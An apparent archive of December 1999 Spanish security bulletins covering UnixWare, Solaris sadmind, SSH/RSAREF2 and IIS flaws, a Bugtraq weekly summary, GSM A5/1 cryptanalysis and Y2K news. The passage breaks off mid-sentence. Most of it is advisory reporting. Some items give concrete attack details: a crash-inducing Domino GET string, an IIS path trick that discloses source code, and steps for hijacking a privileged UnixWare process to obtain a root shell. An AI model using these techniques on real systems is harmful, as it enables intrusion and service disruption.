viernes, 31 de diciembre de 1999

Grave error de diseño en el modelo de seguridad SCO UnixWare 7

Un grave error de diseño en el modelo de seguridad SCO UnixWare 7
permite que cualquier usuario del sistema ejecute código arbitrario como
administrador o "root".
Bajo UnixWare 7, el administrador de la máquina puede configurar el
sistema de tal forma que determinados ejecutables sean invocados con un
UID/GID (idenificador de usuario y grupo) diferentes del usuario que los
ejecuta, sin tener que recurrir a los flags SUID/SGID. Lamentablemente
un proceso "mutado" sigue siendo completamente accesible por el usuario
que lo invocó. El usuario puede, por ejemplo, enviarle cualquier señal,
detener su ejecución o, incluso, modificar el valor de sus registros,
incluyendo el contador de programa.

Un escenario posible, entonces, es ejecutar un proceso con estas
características, con una variable de entorno conteniendo código SHELL.
Una vez que el proceso está en ejecución, el usuario que lo ha lanzado
puede detenerlo y modificarlo con cualquier depurador. Una vez detenido,
el usuario sólo debe modificar el contador de programa para que apunte
al código SHELL que se ha introducido en la variable de entorno y
¡voila! tenemos un shell con privilegios de "root" o administrador.

El código shell puede aparecer en cualquier parte, no sólo en una
variable de entorno. Puede, por ejemplo, ser leído desde un fichero. El
problema no son las variables de entorno, sino que los procesos
"mutados" no deben ser accesibles al usuario que los ejecuta, ya que sus
privilegios son diferentes.

Al parecer, SCO ha publicado parches para solucionar ésta y otras muchas
vulnerabilidades de UnixWare 7.

Más información:
SCO Unixware Privileged Program Debugging Vulnerability
SCO Security



Jesús Cea Avión
jcea@hispasec.com



jueves, 30 de diciembre de 1999

Los problemas por el efecto 2000 empiezan por Inglaterra

Ayer el Primer Ministro Británico realizó unas declaraciones
en las que afirmaba que Gran Bretaña sería el referente
mundial para el nuevo milenio. No creemos que con esta
afirmación diera a entender que serian los primeros en tener
problemas con el efecto 2000.
El HSBC, uno de los bancos británicos más importantes, ha
sido el primero en verse afectado por el efecto 2000. El
problema surgió al suministrar entre los comerciantes unas
terminales lectoras de tarjetas de crédito que tenían la
peculiaridad de aplazar el pago de las compras en cuatro
días. Estas terminales, Racal Cardmate 2000, instauradas
entre sus clientes desde el verano pasado, operaban sin
ningún problema hasta hace dos días.

El incidente ocurrió cuando el terminal se encontró con
que la fecha de aplazamiento era la del año 2000. Un fallo
en el software al no manejar correctamente las fechas
provocó que los lectores rechazaran las tarjetas que, de
momento, han quedado bloqueadas.

Resulta curioso observar como el HSBC fue uno de los grupos
pioneros en la compatibilidad con el año 2000, a 30 de junio
de 1999 anunciaron que habían actualizado todos sus sistemas
y realizado los tests Y2K con éxito. Su nota de prensa
terminaba, por aquel entonces, de esta forma:

"El objetivo final de nuestro programa del año 2000 es
asegurarse de que no hay interrupción en los servicios que
proporcionamos a nuestros clientes hasta, durante y después
de la vuelta del milenio. La finalización de nuestro programa
en este plazo ha ayudado a confirmar nuestra confianza de que
estaremos preparados para el año 2000."


Una vez más, a pesar de todo lo alarmistas que puedan parecer
este tipo de problemas, recomendamos la calma ante la entrada
del 2000. Este tipo de incidentes y otros que puedan surgir,
son tan sólo muestras evidentes de la realidad del efecto
2000. En este caso los lectores y las tarjetas podrán ser
utilizadas con total normalidad a partir del 1 de enero de
2000, según anuncio de HSBC.

Así mismo, recordamos a los usuarios de que no deben focalizar
la atención sobre el efecto 2000 en el 1 de enero del nuevo
año, ya que se prevé que será en días sucesivos, una vez
comiencen los procesos administrativos cotidianos, cuando
emergan la mayor parte de los problemas.

Más información:
Racal retailer terminals issue (HSBC Bank)
El Mundo



Antonio Román
antonio_roman@hispasec.com



miércoles, 29 de diciembre de 1999

Resumen de Bugtraq del 20-12-1999 al 26-12-1999

De la mano de Bugtraq nos llega, una vez más, el resumen de las
últimas vulnerabilidades y actualizaciones. Destacan en
esta ocasión, por el número, los parches para plataformas
Microsoft.
1. Vulnerabilidad de buffer overflow remoto en SCO Unixware
i20dialogd
2. Vulnerabilidad de download automático de attachment HTML en MS
Outlook Express para MacOS
3. Vulnerabilidades de negación de servicio en Solaris DMI
4. vulnerabilidades CGI en Lotus Notes Domino Webserver
5. Vulnerabilidad en el Virtual Directory Naming de Microsoft IIS
6. Vulnerabilidad de Buffer Overflows en SCO LibX11/X11
Toolkit/Athena Widget Library
7. Vulnerabilidad en FreeBSD WMMon
8. Vulnerabilidad en análisis del carácter de escape en Microsoft
IIS
9. Vulnerabilidad de Cross-Frame en external.NavigateAndFind() en
Microsoft IE
10. Vulnerabilidad de negación de servicio en RealServer 5.0
ramgen
11. Vulnerabilidad de Buffer Overflow en Get en ZBSoft ZBServer

Actualización de parches del 20-12-1999 al 26-12-1999
-----------------------------------------------------
1. Vulnerabilidad parcheada: HTML attachment en MS Outlook
Express para MacOS
2. Vulnerabilidad parcheada: IIS Virtual Directory Naming
3. Vulnerabilidad parcheada: Parseo de carácter de Escape en IIS
4. Vulnerabilidad parcheada: IE external.NavigateAndFind()
Cross-Frame
5. Vulnerabilidad parcheada: Problema de privilegio con WMMon
Resumen de Bugtraq del 20-12-1999 al 26-12-1999
-----------------------------------------------

1. Vulnerabilidad de buffer overflow remoto en SCO Unixware
i20dialogd
BugTraq ID: 876
Remoto: Sí
Fecha de publicación: 22-12-1999
URL relevante: http://www.securityfocus.com/bid/876
Resumen:

i20dialogd es un demonio que provee un front-end para controlar
el subsistema i20. Viene incluido en SCO Unixware y se instala
ejecutándose por defecto como root. Existe una seria
vulnerabilidad de buffer overflow en su mecanismo de
autenticación. Los buffers para el nombre de usuario y contraseña
son de una longitud fija (88+ caracteres) sin
que se realice ningún chequeo de límites sobre ellos.
Debido a esto es posible crear un desbordamiento en los buffers,
corromper la pila y sobreescribir la dirección de retorno para
alterar el flujo de la ejecución (lo que provoca la ejecución de
código arbitrario). Debe tenerse en cuenta que el código del
exploit debe ser codificado (en base64) antes de ser enviado al
servidor.

2. Vulnerabilidad de download automático de Attachment HTML en MS
Outlook Express para MacOS
BugTraq ID: 883
Remoto: Sí
Fecha de publicación: 22-12-1999
URL relevante: http://www.securityfocus.com/bid/883
Resumen:

Outlook Express 5 para MacOS bajara automáticamente attachments
en mensajes HTML, sin preguntar al usuario. Esa debilidad no
permite forzar al usuario a ejecutar ningún código, o poner
archivos en determinadas carpetas, pero puede ser utilizado junto
con otros ataques.
También, la ubicación por defecto de los attachments bajados es
el desktop, donde tienen mas oportunidades de ser vistos y
ejecutados por el usuario.

3. Vulnerabilidades de negación de servicio en Solaris DMI
BugTraq ID: 878
Remoto: Sí
Fecha de publicación: 22-12-1999
URL relevante: http://www.securityfocus.com/bid/878
Resumen:

DMI es el Desktop Management Interface, y es una suite de
aplicaciones de administración de programas que vienen con Sun
Solaris. Cada aplicación que es manejada a través de DMI tiene un
registro MIF (el cual contiene información acerca de sus
componentes manejables y propiedades) que puede ser insertado en
la base de datos MIF (/var/dmi/db) a través del demonio dmispd
(DMI Service Provider).
No existe ningún tipo de autenticación sobre quien envía un nuevo
MIF, lo que significa que cualquiera puede hacerlo. Esto crea dos
posibles condiciones de negación de servicio.
La primera es el consumo de espacio en disco en /var. No existen
limites (por defecto) sobre cuanto espacio puede utilizar la base
de datos DMI. Esto se puede emplear junto con otras
vulnerabilidades para evitar el logueo, etc.
Una segunda vulnerabilidad es una condición de buffer overflow en
dmispd con MIFs de cierto tamaño. Es posible que sea explotable
mas alla de una simple negación de servicio. (puede ser posible
ejecutar código arbitrario como root remotamente).

4. Vulnerabildades CGI en Lotus Notes Domino Webserver
BugTraq ID: 881
Remoto: Sí
Fecha de publicación: 21-12-1999
URL relevante: http://www.securityfocus.com/bid/881
Resumen:

Se han descubierto tres vulnerabilidades en la forma en que el
componente de Webserver del Lotus Domino Server maneja los cgis.

1: Se puede obtener información acerca del path.

Al enviar un pedido por un cgi no existente, un atacante puede
determinar la estructura del sistema de archivos del servidor.
Ejemplo:

URL solicitada:
http: file://victimhost/cgi-bin/asdf
Respuesta:
Error 500
Bad script request -- no variation of
'c:/notes/data/domino/cgi-bin/asdf' is executable

2: No se puede deshabilitar el acceso anónimo.

Aun cuando el acceso anónimo se encuentre deshabilitado en el
servidor, esta permitido para el directorio cgi-bin.

3: Buffer overflow en el manejo de errores en cgi

Una URL demasiado larga en un pedido GET, hacia el directorio
cgi-bin, hace caer al servidor. Parece que no funcionan todas las
cadenas, sin embargo una que fue probada y funciona es: 'GET
/cgi-bin/[800 ','][4000 'a'] HTTP/1.0'

5. Vulnerabilidad en el Virtual Directory Naming de Microsoft IIS
BugTraq ID: 882
Remoto: Sí
Fecha de publicación: 21-12-1999
URL relevante: http://www.securityfocus.com/bid/882
Resumen:

El procesamiento de paginas web del lado del servidor puede
pasarse por alto bajo un determinado conjunto de condiciones. Si
un .asp o archivo similar se encuentra en un directorio virtual
cuyo nombre termina en una extensión legal, se puede llegar a
enviar el código fuente del archivo al navegador cliente.

IIS determina que acción tomar sobre un documento web al analizar
la URL y la extensión del archivo. La primera extensión
registrada encontrada en la cadena se usa para hacer esta
decisión. Por lo tanto, si se solicita el siguiente archivo:
/webroot/docs.htm/some.asp, y ese archivo existe, IIS
analizará la ruta y encontrará la extensión .htm en el directorio
virtual llamado docs.htm. Con ello determinará que no se requiere
ningún preprocesamiento, y enviará el código fuente del archivo
some.asp.

6. Vulnerabilidad de Buffer Overflows en SCO LibX11/X11
Toolkit/Athena Widget Library
BugTraq ID: 884
Remoto: No
Fecha de publicación: 20-12-1999
URL relevante: http://www.securityfocus.com/bid/884
Resumen:

SCO Openserver es vulnerable a varios buffer overflows en varias
librerías compartidas (shared libraries) relacionadas al sistema
X window. Esto significa que todos los programas que se compilan
con estas librerías puede ser vulnerables a ser explotados a
través de llamadas maliciosas a las librerías. Las librerías
vulnerables son:

LibX11
LibXt
LibXaw
LibXmu

Aun no está totalmente claro donde se encuentran realmente los
overflows y se especula que esta vulnerabilidad puede ser similar
a serios overflows en la librería X publicados en Agosto de 1997,
en la base de datos Bugtraq con ID: 237 y los problemas de X de
Sun archivados en la base de datos Bugtraq con ID: 238 (publicado
en Mayo de 1999).

7. Vulnerabilidad en FreeBSD WMMon
BugTraq ID: 885
Remoto: No
Fecha de publicación: 22-12-1999
URL relevante: http://www.securityfocus.com/bid/885
Resumen:

WMMon es una aplicación multiplataforma de docking para Window
Maker. Monitoriza información útil del sistema, tal como el uso
de la CPU y la actividad de disco. La aplicación también permite
al usuario definir comandos que pueden ser lanzados con clicks
del ratón en la ventana del WMMon.
Si la aplicación WMMon se instala como SUID o SGID, estos
privilegios no se dejan de lado antes de ejecutar los comandos
definidos por el usuario. Dado que el usuario puede configurar la
aplicación para ejecutar cualquier comando, un usuario puede
correr un shell o cualquier otro ejecutable con los privilegios
con los que WMMon fue instalado.
La version de WMMon portada a FreeBSD se instala SGID kmem y
versiones mas viejas se instalan como SUID root.

8. Vulnerabilidad en análisis del carácter de escape en Microsoft
Internet Information Server
BugTraq ID: 886
Remoto: Sí
Fecha de publicación: 21-12-1999
URL relevante: http://www.securityfocus.com/bid/886
Resumen:

Internet Information Server acepta caracteres con el formato del
código de escape que no son dígitos hexadecimales validos. Todos
los servidores web que cumplen el RFC 1738 aceptan dígitos
hexadecimales precedidos por un signo de porcentaje, pero IIS
también acepta dígitos hexadecimales no válidos y traduce alguno
de ellos en caracteres ASCII validos. Esto crea una forma
indirecta de construir URLs (texto plano, hexadecimales validos,
y hexadecimales no validos) que puede emplearse para pasar por
alto mecanismos accesos de control realizados por terceros como
ser sistemas de detección de intrusiones. Este problema no
proporciona una forma directa de comprometer al servidor IIS en
si mismo.

9. Vulnerabilidad de Cross-Frame en external.NavigateAndFind() en
Microsoft IE
BugTraq ID: 887
Remoto: Sí
Fecha de publicación: 22-12-1999
URL relevante: http://www.securityfocus.com/bid/887
Resumen:

Mediante la función window.external.NavigateAndFind() es posible
para un servidor remoto ejecutar código javascript arbitrario en
una maquina cliente utilizando IE4, 5 o 5.1 en el contexto de la
seguridad local.

Esta función se usa para cargar un documento web y buscar en él
cadenas específicas, tras lo que se muestran los resultados en un
frame secundario. Sin embargo, la función aceptará URLs del tipo
"javascript:", y deberá pasar esta URL a la función, el
javascript se ejecutará en el contexto de seguridad del contenido
del frame secundario, y tiene acceso al contenido del frame actual.

Esta debilidad puede usarse para obtener archivos pwl, la base de
datos SAM local, cookies o cualquier otro tipo de información
guardada localmente a la que el usuario tenga permiso de lectura.
El ataque puede realizarse a través de la web, o en un email HTML
o en un post en un grupo de noticias (newsgroup).

10. Vulnerabilidad de negación de servicio en RealServer 5.0
ramgen
BugTraq ID: 888
Remoto: Sí
Fecha de publicación: 23-12-1999
URL relevante: http://www.securityfocus.com/bid/888
Resumen:

Es posible hacer caer al RealServer 5.0 enviándole una solicitud
ramgen demasiado larga (4082+ bytes). El funcionamiento normal
puede restablecerse al ejecutar el software RealServer.
11. Vulnerabilidad de Buffer Overflow en Get en ZBSoft ZBServer
BugTraq ID: 889
Remoto: Sí
Fecha de publicación: 23-12-1999
URL relevante:
http://www.securityfocus.com/bid/889
Resumen:

ZBServer Pro 1.5 tiene un buffer no chequeado en el código que
maneja los pedidos GET. Esta debilidad permite la ejecución de
código arbitrario.
Actualización de parches del 20-12-1999 al 26-12-1999
-----------------------------------------------------
1. Vendedor: Microsoft
Producto: MS Outlook Express para MacOS
Vulnerabilidad parcheada: HTML Attachment en MS Outlook
Express para MacOS
BugTraq ID: 883
URLS relevantes: http://www.securityfocus.com/bid/883
Ubicacion del parche: http://www.microsoft.com/mac/download
NOTAS:
Este parche también incluye una corrección para un problema en la
expiración de certificados en IE5 y IE4.5 para MacOS.

2. Vendedor: Microsoft
Producto: IIS
Vulnerabilidad parcheada: IIS Virtual Directory Naming
BugTraq ID: 882
URLS relevantes: http://www.securityfocus.com/bid/882
Ubicación del parche:
Intel:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=16378
alpha:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=16379

NOTAS:
El parche cambia la forma en que IIS analiza la URL, tras aplicar
el parche retornará un error cada vez que se solicita en un
directorio virtual un archivo con una extensión legal.

3. Vendedor: Microsoft
Producto: IIS
Vulnerabilidad parcheada: Análisis de carácter de Escape en IIS
BugTraq ID: 886
URLS relevantes: http://www.securityfocus.com/bid/886
Ubicación del parche:
Intel:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=16357
Alpha:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=16358

4. Vendedor: Microsoft
Producto: Internet Explorer
Vulnerabilidad parcheada: IE external.NavigateAndFind()
Cross-Frame
BugTraq ID: 887
URLS relevantes: http://www.securityfocus.com/bid/887
Solución temporal:
Deshabilitar el Active Scripting

5. Vendedor: FreeBSD
Producto: Windowmaker wmmon 1.0b2
Vulnerabilidad parcheada: Problema de privilegio con WMMon
BugTraq ID: 885
URLS relevantes: http://www.securityfocus.com/bid/885
Ubicación del parche:
http://www.securityfocus.com/vdb/bottom.html?section=solution&vid=885



Hernan Ochoa
hochoa@core-sdi.com
Investigacion y Desarrollo - CoreLabs - Core SDI
http://www.core-sdi.com



martes, 28 de diciembre de 1999

Efecto 2000: Operativo HispaSec Y2K

HispaSec desplegará un operativo especial desde el 31 de diciembre
hasta el 7 de enero para cubrir el Efecto 2000. Acuerdos con las
principales casas y entidades de seguridad a nivel internacional
proporcionarán información desde distintos puntos del planeta.
El equipo de HispaSec forma parte activa en diferentes Gabinetes
de Crisis y Planes de Contingencia según solicitud de organismos y
entidades privadas. A este despliegue de servicios bajo demanda,
HispaSec sumará un operativo especial para informar a nuestros
lectores de cuanto suceda estos días, participando en una red de
alerta e intercambio rápido de información a nivel internacional.

A través del sitio web de HispaSec (http://www.hispasec.com) se
ofrecerá información en línea, con especial énfasis en las horas
críticas durante los días 31/12/1999 y 01/01/2000. El número y
cadencia de las comunicaciones dependerá de las incidencias, si
bien se establece como mínimo la salida de un informe de
situación cada 4 horas durante la primera fase.

Desde HispaSec queremos advertir que estas medidas son de control
y que, pese a este despliegue informativo, esperamos que las
incidencias sean mínimas en España. Los grandes centros proveedores,
corporaciones, instituciones bancarias y organismos gubernamentales,
han dedicado, en general, gran atención y recursos a la
compatibilidad Y2K. El correcto funcionamiento de dichos sistemas,
tal y como se prevé, evitará, a priori, los efectos en cadena más
problemáticos.

Por tanto, ante la incertidumbre creada, optamos por un estado de
tranquilidad y cautela al mismo tiempo. El despliegue de medios y
equipos humanos pueden hacernos vivir, al contrario de lo que
parezca, una de las noches más seguras de cuantas hayamos pasado.
Disfrute de la Noche Vieja, le deseamos una feliz entrada de año,
sin efectos, claro.




Bernardo Quintero
bernardo@hispasec.com



lunes, 27 de diciembre de 1999

Desbordamiento de búffer en el demonio Sun Solstice AdminSuite "sadmind"

Un desbordamiento de búffer en el demonio "sadmind", del paquete Sun
Solstice AdminSuite, permite la ejecución de código arbitrario en el
servidor, con privilegios de administrador o "root".
Este programa se instala por defecto a partir de la versión 2.5 de
Solaris, inclusive. En versiones anteriores del sistema operativo, el
programa está disponible si se instala el paquete Sun Solstice
AdminSuite. El demonio permite coordinar las operaciones administrativas
en una red distribuída de máquinas Solaris.

En el momento de escribir este boletín todavía no existe un parche para
este problema, por lo que la solución recomendada, en primera instancia,
consiste en deshabilitar el demonio "sadmind". Para ello, hay que buscar
la siguiente línea en el fichero "/etc/inetd.conf" y borrarla o
comentarla:

100232/10 tli rpc/udp wait root /usr/sbin/sadmind sadmind

Una vez realizado este cambio debemos instruir al demonio "inetd" para
que lea de nuevo la configuración, lo que se logra lanzándolo de nuevo o
a través de un "kill -HUP".

Esta es la solución recomendada a la espera de un parche oficial de Sun,
sobre todo considerando que "sadmind" no es necesario si se realiza una
administración local mediante la utilidad "admintool".

En caso de que el demonio "sadmind" sea absolutamente imprescindible
para la operación de nuestros sistemas, debemos modificar esa línea a

100232/10 tli rpc/udp wait root /usr/sbin/sadmind sadmind -S 2

Este cambio no nos vuelve inmunes pero, al menos, estamos indicando a
"sadmind" que emplee autentificación fuerte en las peticiones que le
lleguen.

Otra posibilidad consiste en filtrar las conexiones externas a "sadmind"
mediante un cortafuegos. Ésta puede ser una tarea compleja y delicada
dado que "sadmind" es un servicio RPC (Remote Procedure Call - Llamada a
procedimiento remoto) que no tiene un puerto fijo.

Desde hace tiempo existen "exploits" para este problema, circulando por
Internet, tanto para arquitecturas Sparc como x86. Existen también
programas "scanners" para localizar sistemas vulnerables. A la espera de
un parche oficial de SUN, todo administrador de máquinas Solaris debería
tomar las medidas preventivas indicadas en este mensaje.

Más Información:
CERT Advisory CA-99-16 Buffer Overflow in Sun Solstice AdminSuite Daemon
sadmind
http://www.cert.org/advisories/CA-99-16-sadmind.html



Jesús Cea Avión
jcea@hispasec.com



domingo, 26 de diciembre de 1999

Cifrado GSM. ¿Desarrollo cerrado o desarrollo intencionado?

Hace apenas unos días HispaSec (y el resto del mundo civilizado) se hizo
eco de una noticia aparentemente espeluznante: cualquier atacante con un
mínimo de recursos (recursos al alcance de cualquier aficionado a la
informática) puede descifrar cualquier conversación efectuada a través
de un teléfono GSM, en menos de un segundo.
No vamos a abundar de nuevo en lo que ya se ha dicho aquí y en otros
muchos foros sobre las inapreciables ventajas de desarrollar
criptosistemas de forma abierta y sujetos al escrutinio y el análisis
público por parte de toda la comunidad especializada. Este boletín
pretende adoptar una postura más técnica y completar así el análisis de
la vulnerabilidad.

El GSM utiliza 3 algoritmos de cifrado diferentes:

A3: Autentificación de la tarjeta SIM ante la red GSM

A5/1 y A5/2: Algoritmos de cifrado de voz entre el teléfono y la
estación base GSM.

A8: Algoritmo de generación de clave para los algoritmos A5.

En realidad estos algoritmos "no existen". En el estándar GSM esos
nombres se emplean como "receptáculos" a la hora de definir posibles
algoritmos a emplear. No obstante, en aras de la portabilidad y para
permitir el "roaming" de los teléfonos entre diferentes redes GSM, la
mayoría de las redes digitales han desplegado los mismos algoritmos.

Para A3 y A8 se suele emplear el algoritmo COMP128, tristemente conocido
por su bajo nivel de seguridad y por permitir, por ello, la clonación
relativamente simple de tarjetas SIM (puede verse más información sobre
este tema en particular en http://www.argo.es/~jcea/artic/gsm.htm). Por
si sus debilidades implícitas no fueran suficientes, se ha probado que
10 de los 64 bits de la clave son siempre cero, probablemente para
facilitar el ataque por parte de agencias gubernamentales, cuerpos de
seguridad, espionaje, etc. Una puerta trasera institucional en toda
regla.

Dado que COMP128 se usa en casi todas (no conocemos ninguna que no lo
haga, a decir verdad) las implementaciones de A8, y que A8 se emplea
para generar las claves de cifrado para A5, es obvio que si un atacante
puede clonar un SIM, puede no solo hacerse pasar por un usuario GSM
legítimo ante la red, sino que también podrá escuchar sus
conversaciones.

La novedad de estos días, no obstante, consiste en que es sencillo y
factible atacar directamente al algoritmo A5/1, sin necesidad de atacar
A3/A8 previamente. Es más, el ataque puede llevarse a cabo en tiempo
real. Para ello, Alex Biryukov y Adi Shamir (la 'S' de RSA) emplean un
ordenador personal con 128Mbytes de RAM y dos discos duros de 73 GB (IBM
fabrica discos duros de esta capacidad, por ejemplo).

Para ello, se escucha una conversación telefónica GSM, intentando buscar
una serie de patrones en el cifrado. La probabilidad de que aparezcan
dichos patrones crece a medida que recibimos la conversación, y al cabo
de apenas un par de minutos la probabilidad de encontrarlos es casi una
certeza. Por eso en muchos medios se dice que es necesario escuchar la
conversación dos minutos; los patrones pueden aparecer en cualquier
momento, pero tras dos minutos es casi seguro que habrán aparecido ya.

Una vez encontrado el patrón, se realiza una exploración de medio
segundo en los discos duros, y se obtiene la clave de cifrado de la
conversación. Una vez localizada esa clave, se puede descifrar la
conversación de forma trivial, incluyendo lo que se haya dicho durante
el tiempo de "búsqueda".

El algoritmo cuyo ataque se ha descrito aquí es el A5/1, la versión
europea. Existe otro algoritmo, A5/2, empleado en la versión GSM para
Asia y Oceanía, bastante más sencillo de atacar (sólo requiere realizar
unas 2^16 operaciones, perfectamente realizables en tiempo real). Los
detalles del ataque fueron publicados el pasado Agosto.

Resulta muy interesante leer el borrador original del ataque, y
comprobar que éste es posible debido a sutilezas en la estructura del
criptosistema A5/1. Para ello sólo existen dos explicaciones:

La primera de ellas es que, al haber sido un algoritmo desarrollado de
forma privada, no se vio beneficiado del estudio masivo que hubiera
tenido si hubiera sido puesto a disposición del colectivo universitario
e investigador mundial. Colectivo que hubiera encontrado deficiencias,
como acaba de hacer, antes de que el sistema se hubiese desplegado
comercialmente. Pero esa aparente negligencia contrasta con el hecho de
que ligeras variaciones en el algoritmo producen sistemas mucho más
fáciles de atacar, lo que da a entender que los desarrolladores
originales conocían muy bien su trabajo y diseñaron A5/1 y A5/2 a
conciencia. Esta tesis está abonada también por el hecho de que 10 de
los 64 bits de la clave A5 se fijen siempre a cero de forma intencional,
como una medida de debilidad extra.

Una vez que está clara la intención de crear algoritmos "atacables",
queda por explicar la razón para ello. Dado que el cifrado sólo se
emplea entre el teléfono y la estación base, es evidente que las fuerzas
de seguridad pueden interceptar cualquier comunicación sencillamente
empleando una orden judicial que les dé acceso a la estación base, donde
la conversación es accesible en "claro", es decir, descifrada. ¿Para qué
se requiere, entonces, acceso a la conversación "en el aire"?. La
respuesta es obvia: para poder realizar escuchas ilegales. Y no sólo la
policía, sino también los servicios de espionaje y quien sabe qué otros
colectivos con dudosas intenciones.

La respuesta del grupo GSM no se ha hecho esperar. Según ellos, no se
puede capturar una conversación en el aire debido a que la transmisión
va saltando de frecuencia. Se hace así para evitar interferencias y
problemas con la multipropagación. Pero dado que un teléfono GSM puede
realizar los saltos de frecuencia de forma perfectamente sincronizada
(sino, el sistema no funcionaría), es obvio que pueden construirse
sistemas electrónicos que realicen esa misma función.

De hecho, he aprovechado el regreso a casa para festejar las navidades y
he estado repasando mis apuntes universitarios sobre la tecnología GSM.
Entre otras cosas me he encontrado un artículo titulado "The GSM Radio
Interface", escrito por M.R.L. Hodges y publicado en la revista "Br
Telecom Technol Journal", volumen 8, número 1, de Enero de 1.990.

A pesar de lo que diga el grupo GSM, como Ingeniero de Telecomunicación
puedo decir que con ese artículo y los documentos publicados de forma
abierta por la ETSI, cualquiera con recursos puede construirse un
"seguidor de conversaciones" GSM. Y con ese equipo y el artículo de Alex
Biryukov y Adi Shamir, escuchar conversaciones GSM es un juego de niños.

Más información:
Real Time Cryptanalysis of the Alleged A5/1 on a PC (preliminary draft)
http://cryptome.org/a51-bs.htm
http://cryptome.org/a5.ps

Desarrolladores israelíes descodifican
las señales de los teléfonos móviles GSM
http://beta.ibrujula.com/news/noticia.php3?id=138
Boletín del Criptonomicón
Año II, nº 62
15 de diciembre de 1999
http://www.iec.csic.es/criptonomicon/boletines/boletin62.txt
Hispasec: una-al-día
14-12-1999 - La seguridad de GSM se tambalea
http://www.hispasec.com/unaaldia.asp?id=413
Los teléfonos móviles, a prueba
Researchers claim GSM cell phones insecure
Two say they cracked A5/1 encryption code
Researchers Claim to Have Broken Privacy Code for Wireless Phones
¡¡¡EL GSM Cae!!!
Cell Phone Crypto Penetrated
http://wired.lycos.com/news/politics/0,1283,32900,00.html
http://wired.lycos.com/news/politics/0,1283,32900-2,00.html
Clone for the Holidays
GSM Alliance Clarifies False & Misleading Reports of Digital Phone
Cloning
http://jya.com/gsm042098.txt
Crack A5
A5/1 Pedagogical Implementation
Smartcard Developer Association
GSM World



Jesús Cea Avión
jcea@hispasec.com



sábado, 25 de diciembre de 1999

Parches de Internet Explorer y Outlook para Macintosh

Microsoft ha lanzado un parche con el cual soluciona dos problemas
de la versión Mac de Internet Explorer. El primero de ellos afecta
a Outlook Express -distribuido junto con IE- y tiene que ver con
el manejo de los mensajes HTML, el segundo afecta directamente al
navegador y a la fecha de expiración de los certificados digitales.
En el caso de Outlook Express 5.0 la vulnerabilidad se presentaba al
permitir bajar archivos a través de un mensaje HTML sin pedir
confirmación al usuario. Esta vulnerabilidad no permitía que un
atacante pudiera ejecutar el archivo de forma remota, no obstante
era un peligro potencial, ya que el usuario podría ejecutar por
error el archivo.

Junto con Internet Explorer se distribuyen una serie de certificados
digitales que permiten establecer comunicaciones con sitios web
seguros. Muchos de los certificados tenían como fecha de expiración
el 31 de diciembre de 1999, con lo que a partir de entonces el
navegador no podría establecer dichas comunicaciones seguras. El
parche soluciona este problema reemplazando los certificados que
caducaban.

Más información:
Microsoft Security Bulletin (MS99-060)
Microsoft Macintosh Downloads
Actualizaciones y Parches



Antonio Román
antonio_roman@hispasec.com



viernes, 24 de diciembre de 1999

Fiscalía Especial para los Delitos Informáticos

La Comisión de Redes Informáticas del Senado ha finalizado
la redacción de un texto en el cual se hace un especial
hincapié en la creación de una Fiscalía Especial para los
Delitos Informáticos.
Esta comisión fue creada para analizar en profundidad las
implicaciones políticas, económicas, sociales, culturales
y tecnológicas, que el fenómeno de Internet está produciendo
y producirá en nuestra sociedad.

A continuación se exponen parte de las conclusiones finales
del informe aprobado por la Comisión de Internet, si bien
se recomienda la lectura completa del texto:


II.- La libertad es una condición inherente a la Red que no
podrá ser restringida por ningún poder público o privado.
La libertad debe ser total en cuanto al acceso, la
circulación, la información y la comunicación. Las únicas
limitaciones posibles son aquellas que vengan delimitadas
por la Carta Universal de los Derechos Humanos.

III.- Corresponde a los poderes públicos establecer las
condiciones para que la libertad y la igualdad de las
personas en la Red sean una realidad, eliminando los
obstáculos que impidan el acceso de todos los ciudadanos
a tal red y facilitando la participación de todos los
españoles.

Los poderes públicos para cumplir tal fin, articularán
medios para poner a disposición de todos los ciudadanos
la Red, en colaboración con los operadores privados.

IV.- El ordenador personal y el domicilio electrónico
son inviolables. Ninguna entrada o registro podrá hacerse
sin consentimiento del titular o resolución judicial,
salvo en caso de flagrante delito. Se garantizará el
secreto de las comunicaciones electrónicas y la privacidad
de los datos.

Cualquier actuación relacionada con la actividad
informática se atendrá al mandato del artículo 18 de
nuestra Constitución.

V.- Es necesaria la exigencia de un sistema público que
garantice la seguridad informática, apoyando, además,
todas las iniciativas de autorregulación que propicien
una Red global efectiva y segura, a la vez que prevengan
de aquellos contenidos nocivos para los menores. Se
promoverá la creación de códigos éticos y deontológicos,
estimulando a que usuarios de la Red y operadores
constituyan un organismo representativo en el que se
intercambien puntos de vista y se acometan iniciativas
para la mejora y difusión positiva del marco de
autorregulación.

Las Unidades Operativas de las Fuerzas y Cuerpos de
Seguridad del Estado, incrementarán sus dotaciones
humanas y técnicas para que puedan realizar una eficaz
labor de prevención, seguimiento, control y, en su caso,
persecución de Los contenidos y prácticas ilícitas a
través de la Red.

Por otra parte se creará una Fiscalía Especial para los
Delitos Informáticos.

Más información:
Comisión de Redes Informáticas
Conclusiones del Informe Comisión Internet
El Derecho a Cifrar



Antonio Román
antonio_roman@hispasec.com



jueves, 23 de diciembre de 1999

Desbordamiento de Búffer en el demonio SSH y la librería RSAREF2

CORE SDI ha descubierto dos errores de desbordamiento de búffer en el
demonio SSH y en la librería RSAREF2 que, conjuntamente, permiten la
ejecución de código arbitrario en la máquina del usuario, típicamente
con privilegios de administrador o "root".
La librería RSAREF2 es una librería gratuíta distribuída por la compañía
RSA a mediados de los años 90, como implementación criptográfica de
referencia de sus algoritmos patentados. Dicha librería es de uso
OBLIGATORIO para cualquier programa no comercial que se use en EE.UU.,
por cuestiones de patentes. Esta librería tiene un problema de
desbordamiento de búffer si se le introducen datos maliciosos en la
entrada. Dicho desbordamiento permite la ejecución de código arbitrario
con los privilegios en curso, típicamente "root" o administrador.

Por otra parte SSH1 es una implementación del conocido protocolo SSH
(Secure SHell), que permite el establecimiento de conexiones seguras
entre máquinas para, por ejemplo, poder acceder y administrar de forma
segura servidores remotos. Las implementaciones SSH hasta la versión
1.2.27 inclusive son vulnerables a un ataque de desbordamiento de búffer
que, si bien no puede ser utilizado para ejecutar código arbitrario,
permite injectar entradas maliciosas a la librería RSAREF2 que, a su
vez, posibilitan la ejecución de código merced al error que acabamos de
indicar.

Para solucionar el problema (que sólo existe si se compila SSH 1.2.27 y
previos con la opción "--with-rsaref", que es obligarotio únicamente en
